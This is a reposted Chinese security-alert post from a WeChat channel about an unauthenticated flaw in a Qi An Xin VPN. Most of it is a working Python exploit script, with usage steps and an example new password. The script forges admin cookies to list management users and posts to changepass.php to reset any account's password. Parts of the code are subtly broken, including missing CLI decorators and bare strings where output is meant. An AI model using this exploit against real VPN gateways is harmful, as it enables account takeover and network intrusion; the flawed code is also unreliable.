奇安信vpn存在未授权管理用户遍历及任意账号密码修改
访问url:
https://x.xxx.xxx.cn/
使用hackerbar访问一下url,携带cookie参数
https://x.xxx.xxx.cn/admin/group/x_group.php?id=1
https://x.xxx.xxx.cn/admin/group/x_group.php?id=3
cookie:admin_id=1; gw_admin_ticket=1;
其中id=1为系统自带匿名用户,id=2为管理用户
本次修改匿名用户,使用附件脚本
python3 userlist_motifyuserpassword.py -t https://x.xxx.xxx.cn/ -u anonymous -cp
其中-u指定前面获取的用户名,可以看到返回包中显示密码修改成功
账号:anonymous 密码:Asd123!@#123A。
import click
import requests
import re
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxy = {
}
def check_poc1(url, uid=2):
header = {
"Cookie": "admin_id=1; gw_admin_ticket=1;",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36"
}
path = "//admin/group/x_group.php?id=%s" % uid
r = requests.get(url + path, headers=header, proxies=proxy, verify=False)
print(r.text)
r.encoding = "utf-8"
if r.status_code == 200 and "group_action.php" in r.text:
if users := re.findall("本地认证->(.*?)</option>", r.text):
return users
else:
print("not found any user")
return []
def check_poc2(url, user, pwd):
header = {
"Cookie": 'admin_id=1; gw_user_ticket=ffffffffffffffffffffffffffffffff; last_step_param={"this_name":"%s","subAuthId":"1"}' % user,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36",
"Origin": url,
"Referer": "%s/welcome.php" % url
}
body = {
"old_pass": "",
"password": pwd,
"repassword": pwd
}
path = "/changepass.php?type=2"
r = requests.post(url + path, headers=header, data=body, proxies=proxy, verify=False)
print(r.text)
r.encoding = "utf-8"
if r.status_code == 200 and "修改密码成功" in r.text:
return True
else:
return False
def main(target, group, user, pwd, list_user, change_pwd, proxies):
"""
step1 : list users exppoc
python exp.py -t https://1.1.1.1 -lu
user1
user2
...
step2 : change password org
python exp.py -t https://1.1.1.1 -u user1 -cp
"""
global proxy
if proxies:
proxy = {
"http": proxies,
"https": proxies
}
target = target.strip().strip("/")
print("target: " + target)
if list_user:
print("list users~")
if users := check_poc1(target, group):
print("n".join(users))
else:
"no vuln"
elif change_pwd:
print("change password~")
if status := check_poc2(target, user, pwd):
print("change %s pwd success, new pwd: %s " % (user, pwd))
else:
"false"
else:
print("please input -lu or -cp")
if __name__ == '__main__':
main()
原文始发于微信公众号(利刃信安攻防实验室):【漏洞预警】奇安信vpn存在未授权管理用户遍历及任意账号密码修改,已复现
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